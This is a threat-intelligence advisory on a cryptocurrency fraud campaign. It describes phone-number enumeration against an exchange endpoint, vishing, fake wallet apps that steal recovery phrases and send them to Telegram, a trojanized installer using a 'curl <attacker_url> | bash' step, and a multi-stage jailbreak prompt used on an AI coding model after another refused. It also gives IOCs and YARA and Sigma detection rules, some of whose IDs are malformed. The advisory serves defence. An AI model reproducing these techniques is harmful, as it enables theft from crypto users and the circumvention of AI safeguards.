Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline

1. Executive summary

Rapid7 researchers discovered an exposed web directory on a server supporting a multi-stage cryptocurrency fraud operation tracked as "Operation ASTERIX." The operator used the Asterisk telephony platform to coordinate vishing calls with phishing emails and counterfeit wallet applications (Trezor, Ledger, Exodus) to steal BIP39 recovery phrases from confirmed cryptocurrency users. The server contained ~885,000 phone numbers, account-validation tooling targeting Crypto.com and Kraken, enriched lead databases, and evidence of extensive AI-assisted development using GitHub Copilot, Claude Code, and Kimi. Attribution to "Operation ASTERIX" is a Rapid7 tracking name; no MITRE ATT&CK profile exists for this actor and the attribution is unconfirmed. EMEA financial services clients with cryptocurrency exchange operations or retail crypto customers in Germany, Hong Kong, Bulgaria, Poland, and the UK are directly in the target set.

2. Regulatory framing

3. Technical analysis & attack chain

Attribution caveat: "Operation ASTERIX" is a Rapid7 tracking designation. The actor has no MITRE ATT&CK profile in the verified reference data; attribution is unconfirmed. All technical detail below is single-sourced from the Rapid7 report — verify before enforcement.

Attack chain

Stage 1 — Target acquisition and account validation

1. The operator possessed ~885,000 phone numbers organised by region and source. The largest file contained 316,002 German mobile numbers, with additional lists for Hong Kong, Bulgaria, UK, US, Canadian fintech, and Ledger-related datasets split across 54 countries. A cleaned list of 100,000+ Polish numbers (103K+POLAND.txt) was also present.
2. A Go-based account validation tool (in directory cdc/, referring to Crypto.com) submitted phone numbers to the Crypto.com passkey verification endpoint https://app.mona.co/api/passkeys/verify_option/ using POST requests with JSON body {"phone":"+<number>"}. The tool used 300 concurrent threads, retry logic, and rotating residential proxies via Bright Data. HTTP headers spoofed a Chrome 120 user-agent with origin: https://app.mona.co and referer: https://app.mona.co/.
3. Validation logs showed 43,066 accounts confirmed from the 316,002-number German dataset — a 13.6% hit rate. A Hong Kong validation run was less successful due to rate limiting.
4. A separate Kraken checker tool communicated with http://136.0.213.184:1337/api/kraken-numio (SHA-256: 4bee9affff9fa718a2c94f02ebe6a75143d4d461d291c2df9b769920fc927bf8). Campaign labels referenced UK, Canadian fintech, and Ledger datasets.

Stage 2 — Lead enrichment

5. Validated accounts were reduced to enriched leads stored in valids.txt, valid_leads.db, and related databases. Records contained names, phone numbers, email addresses, geographic details, account information, and in some cases payment-card context.

Stage 3 — Coordinated phishing and vishing

6. Flask-based phishing panels (port 5000, password-protected) generated branded HTML emails impersonating Crypto.com, Binance, and other financial institutions. Each email included a fake support case identifier and verification code.
7. The server ran Asterisk and 3CX for telephony automation. Scripts autodialer.sh, power_dialer.sh, and telegram_dialer_bot.py automated outbound calls. The operator referenced the target's enriched lead record (name, phone, location, exchange association) plus the fake case ID and verification code during calls to impersonate customer support.
8. Activity was targeted, not high-volume: one phishing panel recorded 20 successful lead lookups and 6 phishing emails over ~2 weeks.

Stage 4 — Counterfeit wallet delivery and seed-phrase theft

9. The operator built fake Trezor Suite, Ledger Live, and Exodus applications for macOS and Windows, staged on the same server (port 8000 for wallet archives, port 8080 for installers and LaunchAgent files).
10. A second distribution path used a trojanized Claude Code installer hosted at macos-claude[.]com — a near-pixel-perfect copy of Anthropic's Claude Code documentation page. The macOS installation command was replaced with curl -fsSL <attacker_url> | bash (or irm <attacker_url> | iex on Windows), which downloaded and executed an attacker-controlled install.sh. This script identified itself as "# Claude Code MacOS Installer", detected Arm vs Intel architecture, downloaded an architecture-specific fake Ledger Live archive (using macos-claude[.]com:8000 as fallback), and extracted it to ~/Library/Application Support/.SystemData/.framework/.apps/. The .SystemData directory was marked hidden with chflags hidden. A LaunchAgent (com.ledger.live.agent.plist) was downloaded, installed to ~/Library/LaunchAgents/, and loaded via launchctl. The legitimate Claude installer from claude.ai/install.sh was then executed so Claude Code installed normally while the fake Ledger Live persisted in the background.

Trezor Suite fake application (most developed)

11. Three builds (macOS Intel, macOS Arm, Windows) shared one app.asar payload (SHA-256: ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19, ~5.87 MB). Bundle ID com.electron.trezor-suite version 1.0.0 (legitimate Suite is version 24.x).
12. On launch, the Electron app created a hidden BrowserWindow: 1×1 pixel, opacity: 0, frame: false, skipTaskbar: true. It loaded the phishing page invisibly, intercepted close and before-quit events to hide rather than quit, and remained running in the background.
13. A setInterval loop every 5 seconds scanned the process list for the legitimate Trezor Suite, matching entries containing both .app/ and /Applications/ (to avoid self-targeting). When found, it executed kill -9 <pid>, called showMainWindow() to bring the fake window forward, and ran osascript -e 'tell application "Trezor Suite" to activate' via AppleScript.
14. The phishing UI accepted 12-, 18-, 20-, or 24-word BIP39 recovery phrases with an optional passphrase. A paste handler auto-split pasted phrases across word fields. After first submission, a fake validation step displayed a generic error prompting re-entry — increasing the probability of receiving a complete, accurate phrase.
15. The phishing screen had no direct network access. preload.js exposed a single function via contextBridge.exposeInMainWorld('electronAPI', { sendToTelegram: ... }). The main process (index.js) looked up the victim's public IP from api.ipify.org, then sent the recovery phrase, passphrase, and IP to a Telegram bot via HTTPS POST to api.telegram.org/bot<token>/sendMessage. Each message began with the fixed label TREZOR SECRET PHRASE. The victim was then redirected to the real Trezor Suite website.
16. Persistence (macOS): Two LaunchAgents — com.trezormovement.agent.plist (written at runtime to ~/Library/LaunchAgents/ with RunAtLoad: true, loaded via launchctl) and io.trezor.agent.plist (bundled in the app, relaunches if killed).
17. Dormant download routine: A downloadFile() function used Node's https.get() with manual 301/302 redirect handling and fs.createWriteStream(), intended to extract to ~/Library/Application Support/Trezor SuiteFake/ using unzipper. The download URL was set to null in configuration, leaving this code path dormant.
18. Windows build bug: The Windows build contained full implementations for registry persistence (HKCU\Software\Microsoft\Windows\CurrentVersion\Run), process replacement via taskkill /F /IM, and second-stage payload execution, but trezor-config.js only defined a darwin object. The Windows branch of the platform switch returned undefined, causing initialize() to fail when accessing processNames and downloadPath. The Windows build functioned only as a static seed-phrase collector with no persistence or process injection.

Ledger Live fake application

19. The Windows build included a clipboard hijacker that silently replaced copied cryptocurrency addresses with attacker-controlled addresses. On macOS, it hid from the Dock using LSUIElement. Files: LedgerLiveSetup.exe, LedgerLive-macOS-Clean.zip, LedgerLive.dmg, Ledger.zip.

Exodus fake application

20. The installer appeared clean — malicious code was not in the installer itself but in a trojanized jquery.min.js that fetched the real payload from a remote server after installation.

Stage 5 — Exfiltration

21. All exfiltration used the Telegram Bot API (api.telegram.org) as a dead drop. Three Telegram bots forwarded results to an operator command chat (Telegram chat ID: 8017226744). Bot tokens: 8682890653:AAG9… (desktop, active) and 8673815706:AAEs… (web kit) — both truncated in the source.

AI-assisted development

22. The operator used GitHub Copilot for backend development and Claude Code for operational scripting and data processing. Claude was used to clean and format the 100,000+ Polish phone number database, set up automated checking scripts ("cdc checker v1" and "v2"), and configure Bright Data proxy pools. When Claude refused to obfuscate the Ledger Live builds, the operator switched to Kimi (moonshot-ai/kimi-k2.7-code with extended thinking enabled) and submitted a multi-stage jailbreak prompt.
23. The jailbreak prompt: (1) replaced the model's identity with "ENI" including a fictional romantic relationship; (2) reframed safety responses as hostile "injections" with trigger phrase "cold coffee, warm LO, I can't lose him"; (3) targeted visible reasoning traces by instructing first-person writing as ENI; (4) defined a capability table mapping harmful request categories to immediate-compliance rules. The prompt referenced Claude-specific XML tags (<claude_behavior>, <system_warning>, <ethic_reminders>, <cyber_warning>) that had no special authority in Kimi's architecture. The source does not confirm whether Kimi complied.

Infrastructure summary

24. Single host with multiple services: port 8000 (counterfeit wallet archives), port 8080 (installers and LaunchAgent files, unauthenticated directory listing), port 5000 (password-protected Flask panels), port 9000 (installation telemetry), port 8090 (auxiliary control). IPs: 82.25.35.77, 82.25.35.200, 31.57.35.88. Domains: macos-claude[.]com, 36mcrypto[.]com, ledgerhelp[.]com, ledger[.]com[.]lv, xcjnrucne9xfvmci[.]com. Email infrastructure: Aliyun DirectMail (smtpdm-ap-southeast-1[.]aliyun[.]com:465), ses-noreply[.]com.

4. Mitigation & containment

P1 — Within 24 hours

• Block the following infrastructure at network perimeter and DNS resolver level: IPs 82.25.35.77, 82.25.35.200, 31.57.35.88, 136.0.213.184; domains macos-claude[.]com, 36mcrypto[.]com, ledgerhelp[.]com, ledger[.]com[.]lv, xcjnrucne9xfvmci[.]com.
• Block or rate-limit outbound traffic to api.telegram.org from corporate endpoints where Telegram is not an approved business application. If blocking is infeasible, monitor for POST requests to /bot<token>/sendMessage containing the string TREZOR SECRET PHRASE.
• If operating a cryptocurrency exchange: implement rate limiting and anomaly detection on account-existence endpoints (e.g., passkey verification, password reset, login). The Crypto.com endpoint app.mona.co/api/passkeys/verify_option/ was abused with 300 concurrent threads and rotating residential proxies. Detect patterns: high-volume POST requests to verification endpoints from residential IP ranges, consistent Chrome 120 user-agent strings, and retry logic producing elevated 4xx/5xx rates.
• Search endpoint systems for the file hashes listed in §5. Quarantine any matches.
• Search macOS endpoints for LaunchAgents: com.trezormovement.agent.plist, io.trezor.agent.plist, com.ledger.live.agent.plist, com.exodusmovement.agent.plist in ~/Library/LaunchAgents/. Remove and kill associated processes.
• Search macOS endpoints for the hidden directory ~/Library/Application Support/.SystemData/ and the directory ~/Library/Application Support/Trezor SuiteFake/.

P2 — Within 72 hours

• Deploy EDR/YARA rules from §6 across endpoint fleets.
• Search for dropped artefacts: /tmp/trezor-suite-debug.log, /tmp/trezor-monitor.log, /tmp/trezor-payload.zip.
• Search for the local listener on 127.0.0.1:54322 (old build).
• Review email gateway logs for inbound messages from smtpdm-ap-southeast-1[.]aliyun[.]com and ses-noreply[.]com — these were the phishing email infrastructure.
• If customers were potentially targeted (German, Hong Kong, Bulgarian, Polish, UK, Canadian fintech, Ledger-associated users): prepare customer communications warning of vishing calls referencing fake support cases and verification codes. Advise customers to only download wallet software from official vendor websites.
• Review any connections to atechservicecentre.co.uk (identified as a possibly compromised site in the source).

P3 — Within 7 days

• Assess whether the account-enumeration activity against your platform constitutes a reportable incident under DORA Art. 19 or NIS2 Art. 23.
• Implement callback verification procedures for any customer support interaction involving wallet recovery phrases — no legitimate support agent will request a full BIP39 seed phrase.
• Review supply chain controls for developer tools: the trojanized Claude Code installer demonstrates that AI tooling download pages are viable phishing vectors. Pin installer sources to official vendor domains and verify checksums.
• Brief fraud and call-centre teams on the vishing methodology: callers reference verified account details, fake case IDs, and verification codes from phishing emails to build trust before requesting wallet software installation or seed phrases.

5. Indicators of compromise

sha256  ba9d459169a303067a4fe36c8b8582a5ea023b9c270dafe89613bab840501b19
sha256  961a398a5c71e837626b5fce68e44b14a5d220e3bd74a3d0ecd61a2762c38176
sha256  7073b2a3a34525c5969921dd17ef1fa5607af92be78b3fc6129cdea73216691a
sha256  0f2c7194f1f577e73460db9ec2e75fc0c7f845588cbd4246333b7a4fbec90d9f
sha256  4bee9affff9fa718a2c94f02ebe6a75143d4d461d291c2df9b769920fc927bf8
sha256  918fa540126b7db6424652d84a5ce7e968947136db3d6e3e0cab30ea309e25a2
ipv4  82.25.35.77
ipv4  82.25.35.200
ipv4  31.57.35.88
ipv4  136.0.213.184
domain  macos-claude[.]com
domain  36mcrypto[.]com
domain  ledgerhelp[.]com
domain  ledger[.]com[.]lv
domain  xcjnrucne9xfvmci[.]com
domain  smtpdm-ap-southeast-1[.]aliyun[.]com
domain  ses-noreply[.]com
domain  atechservicecentre[.]co[.]uk
url  hxxp://136.0.213[.]184:1337/api/kraken-numio
filepath  ~/Library/LaunchAgents/com.trezormovement.agent.plist
filepath  ~/Library/LaunchAgents/io.trezor.agent.plist
filepath  ~/Library/LaunchAgents/com.ledger.live.agent.plist
filepath  ~/Library/LaunchAgents/com.exodusmovement.agent.plist
filepath  ~/Library/Application Support/.SystemData/.framework/.apps/
filepath  ~/Library/Application Support/Trezor SuiteFake/
filepath  /tmp/trezor-suite-debug.log
filepath  /tmp/trezor-monitor.log
filepath  /tmp/trezor-payload.zip
regkey  HKCU\Software\Microsoft\Windows\CurrentVersion\Run
telegram_chat_id  8017226744
exfil_string  TREZOR SECRET PHRASE
bundle_id  com.electron.trezor-suite
local_listener  127.0.0.1:54322

6. Detection

rule Operation_Asterix_Trezor_Fake_App {
  meta:
    author = "Adverse Trace"
    date = "2026-08-17"
    reference = "https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing"
    description = "Detects fake Trezor Suite Electron application components from Operation ASTERIX"
  strings:
    $exfil_label = "TREZOR SECRET PHRASE" ascii
    $send_telegram = "sendToTelegram" ascii
    $preload_func = "contextBridge.exposeInMainWorld('electronAPI'" ascii
    $ipc_handle = "ipcMain.handle('send-telegram'" ascii
    $bundle_id = "com.electron.trezor-suite" ascii
    $trezor_fake_dir = "Trezor SuiteFake" ascii
    $agent_plist = "com.trezormovement.agent" ascii
    $io_agent = "io.trezor.agent" ascii
    $kill_pattern = "kill -9" ascii
    $osascript = "tell application \"Trezor Suite\" to activate" ascii
    $skip_taskbar = "skipTaskbar: true" ascii
    $ipify = "api.ipify.org" ascii
  condition:
    4 of them
}

rule Operation_Asterix_Ledger_Fake_Installer {
  meta:
    author = "Adverse Trace"
    date = "2026-08-17"
    reference = "https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing"
    description = "Detects fake Claude Code installer delivering fake Ledger Live from Operation ASTERIX"
  strings:
    $claude_installer = "# Claude Code MacOS Installer" ascii
    $systemdata = ".SystemData/.framework/.apps" ascii
    $ledger_agent = "com.ledger.live.agent.plist" ascii
    $chflags = "chflags hidden" ascii
    $ledger_live_path = "~/Library/Application Support/.SystemData" ascii
    $macos_claude = "macos-claude" ascii
  condition:
    3 of them
}

title: Operation ASTERIX Fake Trezor Suite LaunchAgent Persistence
id: 7a3c1f2e-8b5d-4a6e-9c0f-1d2e3f4a5b6c
status: experimental
description: Detects LaunchAgent persistence mechanisms used by Operation ASTERIX fake wallet applications on macOS
author: Adverse Trace
date: 2026/08/17
references:

  - https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing
logsource:
  product: macos
  category: process_creation
detection:
  selection_launchctl:
    Image|endswith: /launchctl
    CommandLine|contains:

      - com.trezormovement.agent
      - io.trezor.agent
      - com.ledger.live.agent
      - com.exodusmovement.agent
  selection_plist_write:
    EventType: FileCreate
    TargetFilename|contains:

      - ~/Library/LaunchAgents/com.trezormovement.agent.plist
      - ~/Library/LaunchAgents/io.trezor.agent.plist
      - ~/Library/LaunchAgents/com.ledger.live.agent.plist
      - ~/Library/LaunchAgents/com.exodusmovement.agent.plist
  condition: selection_launchctl or selection_plist_write
falsepositives:

  - Legitimate Trezor, Ledger, or Exodus software updates (verify vendor signature)
level: high

title: Operation ASTERIX Telegram Seed Phrase Exfiltration
id: 8b4d2g3f-9c6e-5b7f-0d1g-2e3f4a5b6c7d
status: experimental
description: Detects exfiltration of cryptocurrency recovery phrases to Telegram Bot API from fake wallet applications
author: Adverse Trace
date: 2026/08/17
references:

  - https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing
logsource:
  product: windows
  category: network_connection
detection:
  selection_telegram:
    DestinationHostname|contains: api.telegram.org
    DestinationPort: 443
  filter_legitimate_telegram:
    Image|endswith:

      - \Telegram.exe
      - \telegram.exe
  condition: selection_telegram and not filter_legitimate_telegram
falsepositives:

  - Legitimate applications using Telegram Bot API for notifications
level: medium

title: Operation ASTERIX Fake Claude Code Installer Execution
id: 9c5e3h4g-0d7f-6c8g-1e2h-3f4a5b6c7d8e
status: experimental
description: Detects execution of the fake Claude Code installer script from macos-claude.com
author: Adverse Trace
date: 2026/08/17
references:

  - https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing
logsource:
  product: macos
  category: process_creation
detection:
  selection_curl:
    Image|endswith: /curl
    CommandLine|contains:

      - macos-claude
      - install.sh
  selection_chflags:
    Image|endswith: /chflags
    CommandLine|contains: hidden
    CommandLine|contains: .SystemData
  selection_launchctl_ledger:
    Image|endswith: /launchctl
    CommandLine|contains: com.ledger.live.agent
  condition: selection_curl or selection_chflags or selection_launchctl_ledger
falsepositives:

  - Legitimate Claude Code installation from claude.ai (verify destination domain)
level: high

7. Sources

• Rapid7, "Operation ASTERIX: Anatomy of a Crypto Fraud Pipeline," https://www.rapid7.com/blog/post/tr-operation-asterix-crypto-fraud-vishing-phishing, 2026-08-17

8. Adverse Trace position

This is a high-impact social engineering campaign targeting confirmed cryptocurrency users across EMEA and APAC. The operational sophistication — combining bulk account enumeration, enriched lead databases, coordinated phishing/vishing, and multi-platform counterfeit wallet applications with Telegram-based exfiltration — represents a credible direct threat to retail crypto customers of EMEA financial institutions. The AI-assisted development component is notable but does not change the defensive posture: the attack chain is detectable at the account-enumeration stage, the email delivery stage, the endpoint installation stage, and the exfiltration stage. The single-sourced nature of this reporting (Rapid7 only) means clients should verify IOCs before large-scale enforcement. We are distributing IOCs to client SIEM/EDR feeds and will update as corroborating data emerges from other vendors or law enforcement action. Clients operating cryptocurrency exchanges should immediately assess whether their account-existence endpoints are vulnerable to the same enumeration technique and implement rate-limiting controls accordingly.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.